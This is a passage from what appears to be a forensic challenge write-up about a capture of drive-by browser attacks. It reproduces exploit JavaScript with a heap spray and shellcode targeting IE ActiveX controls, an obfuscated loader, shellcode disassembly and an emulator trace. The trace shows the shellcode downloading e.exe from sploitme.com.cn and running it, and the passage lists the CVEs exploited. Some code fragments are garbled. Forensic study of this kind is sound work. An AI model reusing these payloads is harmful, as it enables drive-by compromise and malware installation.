ss=ss.substring(0,sss/2);var m=new Array();for(var i=0;i<hb;i++){m[i]=ss+shcode;}
var

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z=Math.ceil(0x0c0c0c0c);z=document.scripts[0].createControlRange().length;}}catch(
e){}
spreadsheet();}
function spreadsheet(){try{var objspread=new
ActiveXObject('OWC10.Spreadsheet');}catch(e){}
if(objspread){try{var shellcode=unescape("%u0033%u8B64%u3040%u0C78%u408B%u8B0C
%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B
%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B
%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA
%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A
%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B
%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E
%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC
%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A
%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE
%uFF60%u0455%u7468%u7074%u2F3A%u732F%u6C70%u696F%u6D74%u2E65%u6F63%u2E6D
%u6E63%u662F%u2F67%u6F6C%u6461%u702E%u7068%u653F%u383D");var array=new Array();var
ls=0x81000-(shellcode.length*2);var bigblock=unescape("%u0b0c
%u0b0c");while(bigblock.length<ls/2){bigblock+=bigblock;}
var lh=bigblock.substring(0,ls/2);delete bigblock;for(var i=0;i<0x99*2;i++)
{array[i]=lh+lh+shellcode;}
CollectGarbage();var objspread=new ActiveXObject("OWC10.Spreadsheet");e=new
Array();e.push(1);e.push(2);e.push(0);e.push(window);for(i=0;i<e.length;i++)
{for(j=0;j<10;j++){try{objspread.Evaluate(e[i]);}catch(e){}}}
window.status=e[3]+"";for(j=0;j<10;j++)
{try{objspread.msDataSourceObject(e[3]);}catch(e){}}catch(e){}}
Complete();}
mdac();

```

Page: sploitme.com.cn/fg/show.php without 's' parameter, Linux, language en-us, Firefox 0.8 user agent (pkt#717)

Code (identical to pkt#63):

```

var
CRYPT={signature:'CGerjg56R',_keyStr:'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',decode:function(input){var output='';var chr1,chr2,chr3;var
enc1,enc2,enc3,enc4;var i=0;input=input.replace(/[\^A-Za-z0-
9\+\\/\=]/g, '');while(i<input.length){enc1=this._keyStr.indexOf(input.charAt(i+
));enc2=this._keyStr.indexOf(input.charAt(i+
));enc3=this._keyStr.indexOf(input.charAt(i+
));enc4=this._keyStr.indexOf(input.charAt(i++));chr1=(enc1<<2)|
(enc2>>4);chr2=((enc2&15)<<4)|(enc3>>2);chr3=((enc3&3)<<6)|
enc4;output=output+String.fromCharCode(chr1);if(enc3!=64)
{output=output+String.fromCharCode(chr2);}
if(enc4!=64){output=output+String.fromCharCode(chr3);}}
output=CRYPT._utf8_decode(output);return output;},_utf8_decode:function(utftext)
{var string='';var i=0;var c=0,c1=0,c2=0,c3=0;while(i<utftext.length)
{c=utftext.charCodeAtAt(i);if(c<128){string+=String.fromCharCode(c);i++;}else
if((c>191)&&(c<224))
{c2=utftext.charCodeAtAt(i+1);string+=String.fromCharCode(((c&31)<<6)|
(c2&63));i+=2;}else{c2=utftext.charCodeAtAt(i+1);c3=utftext.charCodeAtAt(i+2);string+=
String.fromCharCode(((c&15)<<12)|((c2&63)<<6)|(c3&63));i+=3;}}
return string;},obfuscate:function(str){var container='';for(var
i=0,z=0;i<str.length;i=i+3,z++)
{container+=String.fromCharCode(str.substring(i,i+3)-this.signature.substring(z
%this.signature.length,z%this.signature.length+1).charCodeAt(0));}

```

```

return CRYPT.decode(container);}}
eval(CRYPT.obfuscate('157181187231195154135166180117123204195156160169153153187179
2011851912141281421981891611891961912001401031901651221871621811701531691801171492
0521417721117115218712018220022319221212612213017014421018421120110414013014618017
5229195190106168156188190222191174168172129166183128168223196152151163160115168188
1712231761221321931571581792281891891181651571551871512031941761561531911531911812
0115915215112520112217117318815920410412819016615515023119619115215716315414914921
1194193161141151124176198223192209153121185172155189192158201140173203143179205192
1901721571391681371362061891902191101431321371191901642092141431371901221711731881
5920410412819016615515023119619115215716315414914921119419316114115112417619822319
2209153121185172155188222212202162111204165121191162182211157132166136175186200176
1681581291661831281901641761511421041851781611842221612031251281351681221752222051
8710217117215517020420117515213013715414911920018418021115214216817517015219521717
8137170139156121171162195153156165172150179156216194152110121191175180176186180211
1521381301241692112002212011201622031571591831632052121051591591341441562132151891
7313019112419019120115821412616118213715716818722117615811119115719215823620317411
0105158177137212213174160163144170149173190201218207154122130187145211187163176158
1701601561591832251822131271581801761532192121892061651301531571751991861842111281
3819818816118918322320210314019915713820523120619017316915715118721320421120717414
4170136188200223192225152125139184170151200191193141158130147155149219183186126166
1831181452092141781891741521871331192002241922111321051311751691731922142041041281
9016714318723520420811916317115419122320419021911015616317913919916415522215112516
8115161184217218182172115143')));

```

Deobfuscated:

```

function Complete(){setTimeout('location.href = "about:blank",2000);}
function CheckIP(){var req=null;try{req=new
ActiveXObject("Msxml2.XMLHTTP");}catch(e){try{req=new
ActiveXObject("Microsoft.XMLHTTP");}catch(e){try{req=new
XMLHttpRequest();}catch(e){}}}
if(req==null)return"0";req.open("GET","/fg/show.php?
get_ajax=1&r="+Math.random(),false);req.send(null);if(req.responseText=="1")
{return true;}else{return false;}}
Complete();

```

Question 7. On the malicious URLs at what do you think the variable 's' refers to? List the differences.

Possible Points: 2pts

Tools Used: Wireshark, VIM, Firefox

Values are hard coded in injected malicious Javascript in simulated hacked web sites (RapidShare and Shop) under the variable "click", and copied in redirect URL as value of variable 's'. So, it is not related to browser or country check of malicious code that creates the fake 404 pages. The purpose may be related to something like "affiliation code" of some spam campaign and grayware websites. If site 'A' is hacked by John, and site 'B' is hacked by Fred, the code in 's' leads to different exploits and shellcodes, so victims' computers can be Own3d and added to different botnets.

In capture variable 's' have three different values: "3feb5a6b2f" (pkt#57,#157,#358), "84c090bd86" (pkt#467) and "undefined" (pkt#717). Unfortunately, "undefined" request it is used with Firefox browser, that is not vulnerable, and code generated from server is identical to request with variable 's' assigned as "3feb5a6b2f" in pkt#57, so we can't have a sure reply.

Question 8. Which operating system was targeted by the attacks? Which software? And which vulnerabilities? Could the attacks been prevented?	Possible Points: 4pts
Tools Used:	
<p>Target OS: Windows XP SP2 Target software: Internet explorer, a lot of ActiveX components (see below) Vulnerabilities:</p> <ul style="list-style-type: none"> • MS06-014, CVE-2006-5559 - Execute method in the ADODB.Connection 2.7 and 2.8 ActiveX control objects • MS07-009, CVE-2006-0003 - Unspecified vulnerability in the RDS.Dataspace ActiveX control, which is contained in ActiveX Data Objects (ADO) and distributed in Microsoft Data Access Components (MDAC) 2.7 and 2.8 • unspecified Outlook vulnerabilities (CLSID 0006F033-0000-0000-C000-000000000046 and 0006F03A-0000-0000-C000-000000000046) • two vulnerabilities in Windows Update Web Control, but access is limited only to Microsoft websites, so attackers must work with DNS poisoning or spoofing and SSL hijacking or MITM. • MS06-073, CVE-2006-4704 - Cross-zone scripting vulnerability in the WMI Object Broker (WmiScriptUtils.WMIObjectBroker2) ActiveX control (WmiScriptUtils.dll) in Microsoft Visual Studio 2005 • Some Visual Studio components (CLSID 06723E09-F4C2-43c8-8358-09FCD1DB0766], 639F725F-1B2D-4831-A9FD-874847682010, BA018599-1DB3-44f9-83B4-461454C84BF8, D0C07D56-7C69-43F1-B4A0-25F5A11FAB19, E8CCDDDF-CA28-496b-B050-6C07C962476B) • MS09-032, MS09-037, CVE-2008-0015 - Stack-based buffer overflow in the CComVariant::ReadFromStream function in the Active Template Library (ATL), as used in the MPEG2TuneRequest ActiveX control in msvidctl.dll in DirectShow, and a buffer overflow vulnerability in AOL Radio ActiveX, using same vulnerabilities • CVE-2008-2463, MS08-041 - Vulnerability in the ActiveX Control for the Snapshot Viewer for Microsoft Access Could Allow Remote Code Execution • MS05-052, CVE-2005-2127 - a variant of the "COM Object Instantiation Memory Corruption vulnerability." • MS09-043, CVE-2009-0562, CVE-2009-2496 - Office Web Components Memory Allocation Vulnerability <p>Prevention is possible through patching OS and applications, were updates are available, and using "ActiveX killbits" (see http://support.microsoft.com/kb/240797).</p> <p>As usual, using a web browser that is immune to ActiveX vulnerabilities is recommended.</p>	

Question 9. What actions does the shellcodes perform? Please list the shellcodes (+md5 of the binaries). What's the difference between them?	Possible Points: 8pts
Tools Used: Wireshark, strings, hexdump, diff, libemu (modified)	
<p>Shellcodes are almost identical, with one single difference: the value of parameter 'e' in URL 'http://sploitme.com.cn/fg/load.php?e=INTEGER', where INTEGER is a single digit integer.</p> <p>Using some bits of shell script and python script, we can extract shellcode from deobfuscated Javascript from pkt#496. There are a total of four shellcodes:</p> <ol style="list-style-type: none"> 1. one in function aolwinamp (MD5: 41d013ae668ceee5ee4402bcea7933ce) 2. one in function directshow (MD5: 1dacf1fbf175fe5361b8601e40deb7f0) 3. one in function com (MD5: 22bed6879e586f9858deb74f61b54de4) 4. one in function spreadsheet (MD5: 9167201943cc4524d5fc59d57af6bca6) <p>All shellcodes listing is:</p> <pre> 0: 33 c0 xor eax, eax 2: 64 8b 40 30 mov eax, DWORD PTR fs:[eax+0x30] 6: 78 0c js 0x14 8: 8b 40 0c mov eax, DWORD PTR [eax+0xc] </pre>	

```

b: 8b 70 1c      mov     esi,DWORD PTR [eax+0x1c]
e: ad           lods   eax,DWORD PTR ds:[esi]
f: 8b 58 08      mov     ebx,DWORD PTR [eax+0x8]
12: eb 09        jmp     0x1d
14: 8b 40 34      mov     eax,DWORD PTR [eax+0x34]
17: 8d 40 7c      lea   eax,[eax+0x7c]
1a: 8b 58 3c      mov     ebx,DWORD PTR [eax+0x3c]
1d: 6a 44         push   0x44
1f: 5a           pop    edx
20: d1 e2        shl   edx,1
22: 2b e2        sub   esp,edx
24: 8b ec        mov   ebp,esp
26: eb 4f        jmp   0x77
28: 5a           pop   edx
29: 52           push  edx
2a: 83 ea 56      sub   edx,0x56
2d: 89 55 04      mov   DWORD PTR [ebp+0x4],edx
30: 56           push  esi
31: 57           push  edi
32: 8b 73 3c      mov   esi,DWORD PTR [ebx+0x3c]
35: 8b 74 33 78   mov   esi,DWORD PTR [ebx+esi*1+0x78]
39: 03 f3        add   esi,ebx
3b: 56           push  esi
3c: 8b 76 20      mov   esi,DWORD PTR [esi+0x20]
3f: 03 f3        add   esi,ebx
41: 33 c9        xor   ecx,ecx
43: 49          dec   ecx
44: 50          push  eax
45: 41          inc   ecx
46: ad          lods  eax,DWORD PTR ds:[esi]
47: 33 ff        xor   edi,edi
49: 36 0f be 14 03 movsx edx,BYTE PTR ss:[ebx+eax*1]
4e: 38 f2        cmp   dl,dh
50: 74 08        je    0x5a
52: c1 cf 0d      ror   edi,0xd
55: 03 fa        add   edi,edx
57: 40          inc   eax
58: eb ef        jmp   0x49
5a: 58          pop   eax
5b: 3b f8        cmp   edi,eax
5d: 75 e5        jne   0x44
5f: 5e          pop   esi
60: 8b 46 24      mov   eax,DWORD PTR [esi+0x24]
63: 03 c3        add   eax,ebx
65: 66 8b 0c 48   mov   cx,WORD PTR [eax+ecx*2]
69: 8b 56 1c      mov   edx,DWORD PTR [esi+0x1c]
6c: 03 d3        add   edx,ebx
6e: 8b 04 8a      mov   eax,DWORD PTR [edx+ecx*4]
71: 03 c3        add   eax,ebx
73: 5f          pop   edi
74: 5e          pop   esi
75: 50          push  eax
76: c3          ret
77: 8d 7d 08      lea   edi,[ebp+0x8]
7a: 57          push  edi
7b: 52          push  edx

```



```

7c: b8 33 ca 8a 5b      mov     eax,0x5b8aca33
81: e8 a2 ff ff ff      call   0x28
86: 32 c0                xor     al,al
88: 8b f7                mov     esi,edi
8a: f2 ae                repnz  scas al,BYTE PTR es:[edi]
8c: 4f                  dec     edi
8d: b8 65 2e 65 78      mov     eax,0x78652e65
92: ab                  stos   DWORD PTR es:[edi],eax
93: 66 98                cbw
95: 66 ab                stos   WORD PTR es:[edi],ax
97: b0 6c                mov     al,0x6c
99: 8a e0                mov     ah,al
9b: 98                  cwde
9c: 50                  push   eax
9d: 68 6f 6e 2e 64      push   0x642e6e6f
a2: 68 75 72 6c 6d      push   0x6d6c7275
a7: 54                  push   esp
a8: b8 8e 4e 0e ec      mov     eax,0xec0e4e8e
ad: ff 55 04            call   DWORD PTR [ebp+0x4]
b0: 93                  xchg   ebx,eax
b1: 50                  push   eax
b2: 33 c0                xor     eax,eax
b4: 50                  push   eax
b5: 50                  push   eax
b6: 56                  push   esi
b7: 8b 55 04            mov     edx,DWORD PTR [ebp+0x4]
ba: 83 c2 7f            add     edx,0x7f
bd: 83 c2 31            add     edx,0x31
c0: 52                  push   edx
c1: 50                  push   eax
c2: b8 36 1a 2f 70      mov     eax,0x702f1a36
c7: ff 55 04            call   DWORD PTR [ebp+0x4]
ca: 5b                  pop    ebx
cb: 33 ff                xor     edi,edi
cd: 57                  push   edi
ce: 56                  push   esi
cf: b8 98 fe 8a 0e      mov     eax,0xe8afe98
d4: ff 55 04            call   DWORD PTR [ebp+0x4]
d7: 57                  push   edi
d8: b8 ef ce e0 60      mov     eax,0x60e0ceef
dd: ff 55 04            call   DWORD PTR [ebp+0x4]

```

excluding last 22 bytes, that are a URL (as string): <http://sploitme.com.cn/fg/load.php?e=X> where X is 3 in aolwinamp shellcode, 4 in directshow shellcode, 7 in com shellcode and 8 in spreadsheet shellcode.

Using a modified libemu, to include a hook to Windows system call GetTempPathA, we have this output from one of the shellcode (from function spreadsheet):

```

/opt/libemu/bin/sctest -Svgs 1000000 < spreadsheet.bin
verbose = 1
success offset = 0x00000000
Hook me Captain Cook!
userhooks.c:127 user_hook_ExitThread
ExitThread(0)
stepcount 295995

```

```

UINT GetTempPath (
    LPTSTR lpBuffer = 0x0012fe18 =>
        none;
    UINT uSize = 136;
) = 19;
HMODULE LoadLibraryA (
    LPCTSTR lpFileName = 0x0012fe04 =>
        = "urlmon.dll";
) = 0x7df20000;
HRESULT URLDownloadToFile (
    LPUNKNOWN pCaller = 0x00000000 =>
        none;
    LPCTSTR szURL = 0x004170e0 =>
        = "http://sploitme.com.cn/fg/load.php?e=8leCursorInfo";
    LPCTSTR szFileName = 0x0012fe18 =>
        = "e.exe";
    DWORD dwReserved = 0;
    LPBINDSTATUSCALLBACK lpfnCB = 0;
) = 0;
UINT WINAPI WinExec (
    LPCSTR lpCmdLine = 0x0012fe18 =>
        = "e.exe";
    UINT uCmdShow = 0;
) = 32;
void ExitThread (
    DWORD dwExitCode = 0;
) = 0;

```

Actions of shellcode are:

1. Get system temporary file path
2. Loads urlmon.dll (that contains function URLDownloadToFile
3. Retrieve file "e.exe" from URL <http://sploitme.com.cn/fg/load.php?e=8>
4. Execute it.

Question 10. Was there malware involved? What is the purpose of the malware(s)? (We are not looking for a detailed malware analysis for this challenge)

Possible Points: 4pts

Tools Used: strings, virustotal.com, qemu

In pkt#189,#205,#513,#528,#635 there are downloads started from shellcodes, and all are Windows executable, all identical (MD5: 52312bb96ce72f230f0350e78873f791 SHA1: 1f613d5260621e4d6737557c68fdc6d322595ef0).

All executables are downloaded in using directory found in "TEMP" process environment variable and executed.

Virustotal.com not identifies files as threat (analysis report link is:

<http://www.virustotal.com/it/analysis/89713a2cf36c4f3552100b0b15907249e80e1e5f648a3901fa92ab09aae4a55f-1267745617>)

Using "strings -a" there are some interesting strings in executable:

- "C:\Program Files\Internet Explorer\iexplore.exe" "%s"
- Starting IE
- urlRetriever|http://www.honeynet.org

Launching one of the files (called video.exe) in a virtual machine with Windows XP SP2, it shows an Access Violation Error (code 0xc0000005) and nothing else. Disabling Executable Prevention Protection feature has no effect.

One other problem can be that I have an Italian release of Windows XP, so path to Internet Explorer executable is quite different from path hardcoded in executables.

Action of executable probably is to launch Internet Explorer to retrieve an URL (i.e. <http://www.honeynet.org>). This action is visible in capture (pkt#221,#544,#643).

Bonus

```
UXVlc3Rpb24gQm9udXMgKGZvcjBmdW4pLiBBZGRpdGlvbmFsIDEgcG9pbnQgZm9yOiAKV2hh
dCBjYW4geW91IHRlbGwgYWJvdXQgZGF0ZXMvdGltZT8gQW55dGhpbmcgd3Jvbmc/ENhbiB5
b3UgcHJvcG9zZSBhIHBsYXVzaWJsZSBleHBsYW5hdGlvbj8KRKG8geW91IHRoaW5rIHRoYXQg
dGhIIG5ldHdvcmsgY2FwdHVyZSAocGNhcCkgd2FzIG1hZGUg24gYSBsaXZlIGVudmlyb25t
ZW50PyAK
```

Tools Used: base64, Wireshark.

Questions are: Question Bonus (for fun). Additional 1 point for:

What can you tell about dates/time? Anything wrong? Can you propose a plausible explanation?

Do you think that the network capture (pcap) was made on a live environment?

Answer: pcap file report time of start capture in Jan 1, 2010 01:00:29.651780000, but a look in protocols that contains absolute time references (HTTP) reports, for example, Tue, 02 Feb 2010 19:05:12 GMT (pkt #28). HTTP servers contacted in capture, simulated or real, are reporting same time reference, with some discrepancies, but time differences remains identical in quantity for the entire extension of capture. But there are some big differences from pkt#314 and pkt#323, that are in the same TCP connection with same server IP, but pkt#314 say "Tue, 02 Feb 2010 19:06:00 GMT", while pkt#323 say "Wed, 21 Jan 2004 19:51:30 GMT", and packets distance in capture is only 0.44 seconds.

The macroscopic difference between capture timestamp and HTTP responses timestamps can be explained with a wrong system time on the computer that made the capture, most probably a computer with many virtual machines, running QEMU. I cannot explain why pkt#323 shows so big time difference, not with a plausible explanation. It can be a load balancer, behind IP address contacted in pkt#323, but I cannot say how is possible that a balancer broke a single TCP session between more servers.

The rest of capture appears from a live environment, because timing and some "pauses" in capture suggest the use of many virtual machines, started in sequence: first in pkt#1, second in pkt#102, third in pkt#376, fourth in pkt#696, and a human that clicks on some warning popups (pkt#205-pkt#214, pkt#528-pkt#539, pkt#635-pkt#643).

Capture file can be merged, and timestamps ignored, in Wireshark, but there is one aspect that cannot easily changed: in HTTP response packets time are reported with timestamp in readable format. So, if capture file was "forged" it was necessary to change ALL the time in HTTP response packets.

So, I choose the simplest way (Occam Razor): wrong system time in host that really made the capture, and capture was live.